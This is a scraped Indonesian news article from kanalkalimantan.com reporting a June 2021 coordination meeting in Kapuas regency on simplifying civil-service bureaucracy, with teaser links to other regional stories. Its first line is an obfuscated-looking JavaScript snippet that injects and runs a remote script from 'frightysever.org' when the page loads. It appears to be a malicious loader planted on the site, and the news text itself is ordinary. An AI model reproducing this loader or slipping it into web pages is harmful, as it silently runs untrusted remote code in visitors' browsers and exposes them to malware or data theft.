(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat koordinasi penyederhanaan birokrasi tahap II menyusul Surat Mendagri Nomor 060/1970/OTDA tanggal 26 Maret 2021 perihal penyederhanaan birokrasi pada jabatan administrasi di lingkungan pemerintah daerah provinsi dan kabupaten/kota, di aula Bupati Kapuas, Kamis (3/6/2021).
Kegiatan dibuka Asisten Administrasi Umum (Asisten III) Setda Kapuas Idie I Gaman didampingi Kabag Organisasi Hery Setiawan bersama Kepala Organisai Perangkat Daerah (OPD), Sekretaris OPD dan pejabat kepegawaian.
Narasumber menghadirkan Kepala Bagian Kelembagaan dan Analisi Jabatan Biro Organisasi Setda Provinsi Kalimantan Tengah, Betri Susilawati SPI didampingi Kepala Sub Bagian Analisis Jabatan Biro Organisasi Setda Provinsi Kalimantan Tengah, Toni Susanto.
Asisten Administrasi Umum Setda Kapuas Idie I Gaman mengatakan tujuan dari rapat koordinasi untuk memberikan arahan penjelasan terkait penyederhanaan birokrasi dan diharapkan semua perangkat daerah bisa mengerti penyederhanaan birokrasi tersebut.
“Rapat Koordinasi pada hari ini kita akan sepakati dari tahapan-tahapan yang telah dilakukan dan yang akan dilakukan kedepannya,” ucapnya.
Kabag Organisasi, Hery Setiawan mengatakan, sebelumnya batas dari penyederhanaan birokrasi tsampai dengan 30 Juni 2021 dan mendapatkan perubahan dari Permenpan Nomor 17 tahun 2021 yaitu sampai Desember 2021.
“Dasar yang akan kita pakai adalah Permenpan Nomor 17 tahun 2021 tentang penyetaraan jabatan administrasi ke dalam jabatan fungsional dan kedua adalah Surat Mendagri Nomor 060/1970/OTDA tanggal 26 Maret 2021 perihal penyerderhanaan birokrasi pada jabatan administrasi di lingkungan pemerintah daerah provinsi dan kabupaten/kota,” jelas Hery.
Sementara itu, Kepala Bagian Kelembagaan dan Analisis Jabatan Biro Organisasi Setda Provinisi Kalteng, Susilawati SPI mejelaskan, Pemprov Kalsel secara gencar menginformasikan terkait penyederhanaan birokrasi dengan cara membuka forum-forum publik dan berdikusi. “Karena adanya penafsiran atau hal-hal yang mungkin disampaikan di kalangan PNS tidak sesuai dengan petunjuk dari pusat,” katanya.
“Kami sangat berterima kasih kepada Pemerintah Kabupaten Kapuas bisa membuat pertemuan yang mana kita dapat memberikan informasi serta paparan terkait penyederhanaan birokrasi ini,” pungkasnya. (kanalkalimantan.com/ags)
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.